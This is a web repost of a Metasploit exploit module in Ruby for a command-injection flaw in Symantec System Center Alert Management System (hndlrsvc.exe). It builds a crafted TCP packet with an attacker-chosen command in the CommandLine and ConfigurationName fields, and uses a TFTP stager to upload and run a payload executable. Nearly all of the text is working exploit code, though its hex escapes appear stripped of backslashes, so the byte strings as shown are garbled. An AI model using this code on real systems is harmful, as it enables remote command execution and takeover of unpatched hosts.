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Symantec System Center Alert Management System (hndlrsvc.exe

Posted on 21 August 2011

##
# $Id: ams_hndlrsvc.rb 13591 2011-08-19 18:35:29Z mc $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = ExcellentRanking

include Msf::Exploit::CmdStagerTFTP
include Msf::Exploit::Remote::Tcp

def initialize(info = {})
super(update_info(info,
'Name'           => 'Symantec System Center Alert Management System (hndlrsvc.exe) Arbitrary Command Execution',
'Description'    => %q{
Symantec System Center Alert Management System is prone to a
remote command-injection vulnerability because the application fails
to properly sanitize user-supplied input.
},
'Author'         => [ 'MC' ],
'License'        => MSF_LICENSE,
'Version'        => '$Revision: 13591 $',
'References'     =>
[
[ 'OSVDB', '66807'],
[ 'BID', '41959' ],
[ 'URL', 'http://www.foofus.net/~spider/code/AMS2_072610.txt' ],
],
'Targets'       =>
[
[ 'Windows Universal',
{
'Arch' => ARCH_X86,
'Platform' => 'win'
}
]
],
'Privileged' => 'true',
'Platform' => 'win',
'DefaultTarget' => 0,
'DisclosureDate' => 'Jul 26 2010'))

register_options(
[
Opt::RPORT(38292),
OptString.new('CMD', [ false, 'Execute this command instead of using command stager', ""]),
], self.class)
end

def windows_stager

exe_fname = rand_text_alphanumeric(4+rand(4)) + ".exe"

print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}")
execute_cmdstager({ :temp => '.'})
@payload_exe = payload_exe

print_status("Attempting to execute the payload...")
execute_command(@payload_exe)

end

def execute_command(cmd, opts = {})

connect

if ( cmd.length > 128 )
raise RuntimeError,"Command strings greater then 128 characters will not be processed!"
end

string_uno  = Rex::Text.rand_text_alpha_upper(11)
string_dos  = Rex::Text.rand_text_alpha_upper(rand(4) + 5)

packet =  "xffxffxffxffxffxffxffxffx00x00"
packet << "x02x00x95x94xc0xa8x02x64x00x00x00x00x00x00x00x00"
packet << "xe8x03x00x00"
packet << 'PRGXCNFG'
packet << "x10x00x00x00"
packet << "x00x00x00x00x04"
packet << 'ALHDF'
packet << "x00x00x01x00x00"
packet << "x00x01x00x0ex00"
packet << 'Risk Repaired'
packet << "x00x25x00"
packet << 'Symantec Antivirus Corporate Edition'
packet << "x00xf9x1dx13x4ax3f"
packet << [string_uno.length + 1].pack('v') + string_uno
packet << "x00x08x08x0a"
packet << "x00" + 'Risk Name'
packet << [string_dos.length + 3].pack('n') + [string_dos.length + 1].pack('n')
packet << "x00" + string_dos
packet << "x00x08x0ax00"
packet << 'File Path'
packet << [string_dos.length + 3].pack('n') + [string_dos.length + 1].pack('n')
packet << "x00" + string_dos
packet << "x00x08x11x00"
packet << 'Requested Action'
packet << [string_dos.length + 3].pack('n') + [string_dos.length + 1].pack('n')
packet << "x00" + string_dos
packet << "x00x08x0ex00"
packet << 'Actual Action'
packet << [string_dos.length + 3].pack('n') + [string_dos.length + 1].pack('n')
packet << "x00" + string_dos
packet << "x00x08x07x00"
packet << 'Logger'
packet << [string_dos.length + 3].pack('n') + [string_dos.length + 1].pack('n')
packet << "x00" + string_dos
packet << "x00x08x05x00"
packet << 'User'
packet << [string_dos.length + 3].pack('n') + [string_dos.length + 1].pack('n')
packet << "x00" + string_dos
packet << "x00x08x09x00"
packet << 'Hostname'
packet << "x00x0ex00" + [string_uno.length + 1].pack('v') + string_uno
packet << "x00x08x13x00"
packet << 'Corrective Actions'
packet << [string_dos.length + 3].pack('n') + [string_dos.length + 1].pack('n')
packet << "x00" + string_dos
packet << "x00x00x07x08x12x00"
packet << 'ConfigurationName'
packet << [cmd.length + 3].pack('n') + [cmd.length + 1].pack('n')
packet << "x00" + cmd
packet << "x00x08x0cx00"
packet << 'CommandLine'
packet << [cmd.length + 3].pack('n') + [cmd.length + 1].pack('n')
packet << "x00" + cmd
packet << "x00x08x08x00"
packet << 'RunArgs'
packet << "x00x04x00x02x00"
packet << "x20x00x03x05x00"
packet << 'Mode'
packet << "x00x04x00x02x00x00x00"
packet << "x0ax0dx00"
packet << 'FormatString'
packet << "x00x02x00x00x00x08x12x00"
packet << 'ConfigurationName'
packet << "x00x02x00x00x00x08x0cx00"
packet << 'HandlerHost'
packet << [string_dos.length + 3].pack('n') + [string_dos.length + 1].pack('n')
packet << "x00" + string_dos
packet << "x00" * packet.length

sock.put(packet)

select(nil,nil,nil,3)
disconnect
end

def exploit

if not datastore['CMD'].empty?
print_status("Executing command '#{datastore['CMD']}'")
execute_command(datastore['CMD'])
return
end

case target['Platform']
when 'win'
windows_stager
else
raise RuntimeError, 'Target not supported.'
end

handler

end
end

 

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